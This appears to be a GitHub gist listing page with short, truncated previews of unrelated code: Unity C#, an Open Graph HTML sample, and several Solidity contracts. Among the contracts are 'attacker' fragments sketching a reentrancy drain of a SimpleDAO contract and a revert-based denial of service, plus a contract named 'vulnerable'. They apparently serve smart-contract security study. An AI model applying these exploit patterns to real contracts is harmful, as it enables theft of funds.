This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//PostRequest.cs | |
using System.Collections; | |
using UnityEngine; | |
using UnityEngine.UI; | |
using UnityEngine.Networking; | |
using System.Collections.Generic; | |
[System.Serializable] | |
public class Metadata |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!doctype html> | |
<html lang="en"> | |
<head prefix="og: http://ogp.me/ns#"> | |
<meta charset="utf-8"> | |
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> | |
<title>Open Graph protocol examples</title> | |
<meta name="description" content="Example HTML documents marked up with Open Graph protocol."> | |
<meta property="og:image" content="https://www.rd.com/wp-content/uploads/2020/01/GettyImages-454238885-scaled.jpg" /> | |
</head> | |
<body itemscope itemtype="http://schema.org/WebPage"> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.0 <0.7.0; | |
contract SimpleStorage { | |
uint storedData; | |
constructor() public{ | |
storedData = 1; | |
} | |
function set(uint x) public { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import "./SimpleDAO.sol"; | |
contract attacker{ | |
SimpleDAO DAO = new SimpleDAO(); // address of already deployed DAO contract | |
address a = address(DAO); | |
function() public payable{ | |
if(flag) DAO.withdraw(DAO.retbalance()); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract attacker{ | |
bool public flag=false; | |
function change() public{ | |
if(!flag) flag=true; | |
else flag=false; | |
} | |
function() external payable { | |
if(flag) revert(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract Test { | |
bool flag; | |
address[] listAddresses; | |
constructor() public{ | |
flag = true; | |
} | |
function ifillArray() public { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
deployer: "0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c" | |
sender: ["0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c" , "0x4B0897b0513fdC7C541B6d9D7E929C4e5364D2dB", "0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C", "0x7dEeD780f2b458Df07136526EcA77417CB87aFEB", "0x79696a2ade1f4ecc12fd9e449e0b86b066629d27"] | |
psender: "0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c" | |
balanceAddr: 42 | |
balanceContract: 123 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract SafeMath { | |
function safeAdd(uint a, uint b) public pure returns (uint c) { | |
c = a + b; | |
require(c >= a); | |
} | |
function safeSub(uint a, uint b) public pure returns (uint c) { | |
require(b <= a); | |
c = a - b; | |
} | |
function safeMul(uint a, uint b) public pure returns (uint c) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract attacker{ | |
bool public flag=false; | |
function change() public{ | |
if(!flag) flag=true; | |
else flag=false; | |
} | |
function() external payable { | |
if(flag) revert(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity>=0.4.24; | |
contract vulnerable{ | |
uint256 defaultAmount = 1 ether; | |
address payable public nominee ; | |
mapping (address => uint256) balance; | |
uint256 _amount; | |
function() external payable{ | |